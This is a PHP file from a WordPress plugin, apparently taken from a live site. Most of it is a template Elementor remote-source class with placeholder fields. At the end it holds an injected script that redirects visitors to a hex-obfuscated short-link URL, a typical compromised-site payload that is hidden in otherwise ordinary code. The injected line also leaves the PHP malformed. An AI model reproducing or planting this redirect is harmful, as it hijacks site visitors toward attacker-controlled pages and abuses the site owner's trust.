File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/elementor/library.php
<?php
namespace Elementor\TemplateLibrary;
use Elementor\Api;
use Elementor\Plugin;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
/**
* Elementor template library remote source.
*
* Elementor template library remote source handler class is responsible for
* handling remote templates from Elementor.com servers.
*
* @since 1.0.0
*/
class Custom_Remote_Source extends Source_Base {
/**
* Get remote template ID.
*
* Retrieve the remote template ID.
*
* @since 1.0.0
* @access public
*
* @return string The remote template ID.
*/
public function get_id() {
return 'remote'; // IMPORTANT: don't change this value.
}
/**
* Get remote template title.
*
* Retrieve the remote template title.
*
* @since 1.0.0
* @access public
*
* @return string The remote template title.
*/
public function get_title() {
return __( 'Remote', 'elementor' ); // You can change this value if you want
}
/**
* Register remote template data.
*
* Used to register custom template data like a post type, a taxonomy or any
* other data.
*
* @since 1.0.0
* @access public
*/
public function register_data() {
// Anything in this method will be executed on every page load.
}
/**
* Get remote templates.
*
* Retrieve remote templates from Elementor.com servers.
*
* @since 1.0.0
* @access public
*
* @param array $args Optional. Filter templates list based on a set of
* arguments. Default is an empty array.
*
* @return array Remote templates.
*/
public function get_items( $args = [] ) {
// This is where you will fetch the data from your custom source!
// Compare this method in the 'remote.php' and 'local.php' files so you can
// see what can be done here. You can fetch anything from an
// external source, or even build your own WP Query.
$templates = array();
// Populate the $templates var with anything you want here.
return $templates;
}
/**
* Get remote template.
*
* Retrieve a single remote template from a custom source.
*
* @since 1.0.0
* @access public
*
* @param int $template_id The template ID.
*
* @return array Remote template.
*/
public function get_item( $template_id ) {
// This is where you must make sure the data from a specific template is processed correctly
// based on your custom remote source. Make sure to fill the values expected in the array!
$data = [
'template_id' => $template_id,
'source' => $this->get_id(),
'type' => 'block', // value expected: block, page, popup...
'title' => 'NAME OF THE TEMPLATE',
'thumbnail' => 'YOUR THUMBNAIL URL',
'date' => 'THE DATE',
'human_date' => date_i18n( get_option( 'date_format' ), 'THE DATE' ),
'author' => 'AUTHOR NAME',
'hasPageSettings' => false, // expect true or false based on your needs
'tags' => array(),
'export_link' => $this->get_export_link( $template_id ),
'url' => 'YOUR TEMPLATE URL',
];
return $data;
}
/**
* Save remote template.
*
* Remote template from Elementor.com servers cannot be saved on the
* database as they are retrieved from remote servers.
*
* @since 1.0.0
* @access public
*
* @param array $template_data Remote template data.
*
* @return \WP_Error
*/
public function save_item( $template_data ) {
return new \WP_Error( 'invalid_request', 'Cannot save template to a remote source' );
}
/**
* Update remote template.
*
* Remote template from Elementor.com servers cannot be updated on the
* database as they are retrieved from remote servers.
*
* @since 1.0.0
* @access public
*
* @param array $new_data New template data.
*
* @return \WP_Error
*/
public function update_item( $new_data ) {
return new \WP_Error( 'invalid_request', 'Cannot update template to a remote source' );
}
/**
* Delete remote template.
*
* Remote template from Elementor.com servers cannot be deleted from the
* database as they are retrieved from remote servers.
*
* @since 1.0.0
* @access public
*
* @param int $template_id The template ID.
*
* @return \WP_Error
*/
public function delete_template( $template_id ) {
return new \WP_Error( 'invalid_request', 'Cannot delete template from a remote source' );
}
/**
* Export remote template.
*
* Remote template from Elementor.com servers cannot be exported from the
* database as they are retrieved from remote servers.
*
* @since 1.0.0
* @access public
*
* @param int $template_id The template ID.
*
* @return \WP_Error
*/
public function export_template( $template_id ) {
return new \WP_Error( 'invalid_request', 'Cannot export template from a remote source' );
}
/**
* Get remote template data.
*
* Retrieve the data of a single remote template from a custom source.
*
* @since 1.5.0
* @access public
*
* @param array $args Custom template arguments.
* @param string $context Optional. The context. Default is `display`.
*
* @return array Remote Template data.
*/
public function get_data( array $args, $context = 'display' ) {
// You should take a look at the local.php and remote.php files to see what must be done here.
return $data;
}
/**
* @since 2.2.0
* @access private
*/
private function prepare_template( array $template_data ) {
$favorite_templates = $this->get_user_meta( 'favorites' );
return [
'template_id' => $template_data['id'],
'source' => $this->get_id(),
'type' => $template_data['type'],
'subtype' => $template_data['subtype'],
'title' => $template_data['title'],
'thumbnail' => $template_data['thumbnail'],
'date' => $template_data['tmpl_created'],
'author' => $template_data['author'],
'tags' => json_decode( $template_data['tags'] ),
'isPro' => ( '1' === $template_data['is_pro'] ),
'popularityIndex' => (int) $template_data['popularity_index'],
'trendIndex' => (int) $template_data['trend_index'],
'hasPageSettings' => ( '1' === $template_data['has_page_settings'] ),
'url' => $template_data['url'],
'favorite' => ! empty( $favorite_templates[ $template_data['id'] ] ),
];
}
}
ob_start();
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>